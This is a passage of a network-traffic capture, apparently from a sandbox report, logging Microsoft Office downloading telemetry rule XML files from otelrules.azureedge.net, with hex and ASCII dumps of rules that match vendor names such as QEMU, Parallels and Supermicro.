2024-11-23 20:12:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:34 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9a1c1dfd-501e-000a-5c30-3c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201234Z-178bfbc474bv7whqhC1NYC1fg400000005200000000003gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:34 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:33 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:34 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201234Z-174c587ffdftjz9shC1TEBsh98000000039g000000009297 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:34 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:34 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2145ee07-e01e-003c-0347-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201234Z-15b8b599d88m7pn7hC1TEB4axw00000003gg000000005da4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:34 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:34 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201234Z-178bfbc474b7cbwqhC1NYC8z4n00000004tg00000000feh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:34 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:34 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:34 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201234Z-174c587ffdf6b487hC1TEBydsn00000003ag00000000dzum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:34 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:36 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:36 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 390d82dd-f01e-0071-4371-3c431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201236Z-174c587ffdfldtt2hC1TEBwv9c000000035000000000p7tw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:36 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:36 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 3b3ce442-a01e-001e-3708-3d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201236Z-178bfbc474bmqmgjhC1NYCy16c0000000540000000001c46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:36 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:36 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201236Z-174c587ffdfb74xqhC1TEBhabc00000003c000000000g02t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:12:36 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:36 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201236Z-178bfbc474brk967hC1NYCfu6000000004t0000000006fyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:36 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:36 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: a6c16221-901e-002a-0257-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201236Z-15b8b599d889gj5whC1TEBfyk0000000034000000000nrz0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:36 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:38 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:39 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201239Z-178bfbc474bv587zhC1NYCny5w00000004rg00000000h8rx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:39 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49891	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:38 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e2ff131b-f01e-0085-7676-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201239Z-174c587ffdfcb7qhhC1TEB3x7000000003gg00000000904d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
